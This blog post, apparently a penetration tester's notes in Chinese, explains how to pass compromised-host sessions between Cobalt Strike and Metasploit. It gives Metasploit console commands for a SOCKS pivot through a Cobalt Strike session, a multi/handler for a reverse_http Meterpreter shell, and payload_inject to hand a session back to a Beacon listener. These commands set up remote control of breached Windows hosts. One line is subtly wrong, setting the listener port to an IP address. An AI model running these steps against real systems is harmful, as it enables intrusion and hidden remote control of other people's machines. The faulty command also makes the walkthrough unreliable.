Cobaltstrike與MSF會話派生

nliuc發表於2021-08-11

Cobaltstrike與MSF會話派生

前言

一般在滲透的過程中,Get到shell之後一般來說我喜歡上線到Cobaltstrike,但是Cobaltstrike的會話是60S更新一次,有時候功能也並沒有MSF完善(我的外掛不夠厲害哈哈),那麼今天我準備記錄一下如何實現Cobaltstrike與MSF的聯動,並且在下面幾篇文章裡,我準備著重講一下隧道技術,尤其是SSH隧道技術、SOCK4隧道技術、SOCK5隧道技術。

正文

Cobastrike搭建SockS隧道

首先Cobaltstrike獲取一個會話,然後搭建SockS。

然後再view裡找到Proxy Pivots,點選Tunnel檢視代理設定。

開啟Metasploit,設定Socks代理

msf6 > setg Proxies socks4:192.168.37.129:8265 //設定走Cobaltstrike的代理通道
Proxies => socks4:192.168.37.129:8265			
msf6 >  setg ReverseAllowProxy true				//設定允許雙向通道
ReverseAllowProxy => true
msf6 > use auxiliary/scanner/ip/ipidseq  		//設定尋找空閒主機
msf6 auxiliary(scanner/ip/ipidseq) > show options
msf6 auxiliary(scanner/ip/ipidseq) > set RHOSTS 192.168.37.128-135
RHOSTS => 192.168.37.128-135
msf6 auxiliary(scanner/ip/ipidseq) > run

發現成功掃描到空閒主機:

Cobaltstrike派生會話

當Cobaltstrike獲取到上線主機後,有時候需要傳遞會話到MSF,操作如下:

首先建立新的Foreign HTTP監聽器,設定IP為MSF接收的IP,設定Port是一會兒MSF監聽的埠

然後開啟MSF,設定好監聽器:

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set lhost 192.168.37.134
lhost => 192.168.37.134
msf6 exploit(multi/handler) > set lport 8088
lport => 8088
msf6 exploit(multi/handler) > run -j

然後開啟Cobaltstrike,轉發會話,方法如下,在會話欄裡選擇spawn,選擇payload為剛才設定的MSFpayload,選擇Choose後Metasploit接收到會話。

Metasploit派生會話

如果Metasploit已經獲取到了一個會話,可以通過payload_inject模組進行會話派生,將會話傳遞到Cobaltstrike。

這裡我嘗試先用MSF進行流量加密,再進行會話派生,具體可參照部落格:https://www.cnblogs.com/culin/#/c/subject/p/15119863.html。

操作如下,首先Cobaltstrike建立新Becon HTTP的監聽器,設定好監聽的IP和Port

然後獲取到MSF的會話後,需要呼叫payload_inject模組,方法如下

msf6> use exploit/windows/local/payload_inject 
msf6> set payload windows/meterpreter/reverse_http  //注意payload的匹配
msf6> set session 2					//需要轉發會話的SESSION
msf6> set lhost 192.168.34.129		//設定需要轉發的IP
msf6> set lport 192.168.34.129 		//設定需要轉發的port
msf6> run							//開始轉發

可以成功看到會話就轉發成功了:

此時Cobaltstrike的會話也會被加密,更加的安全一。

相關文章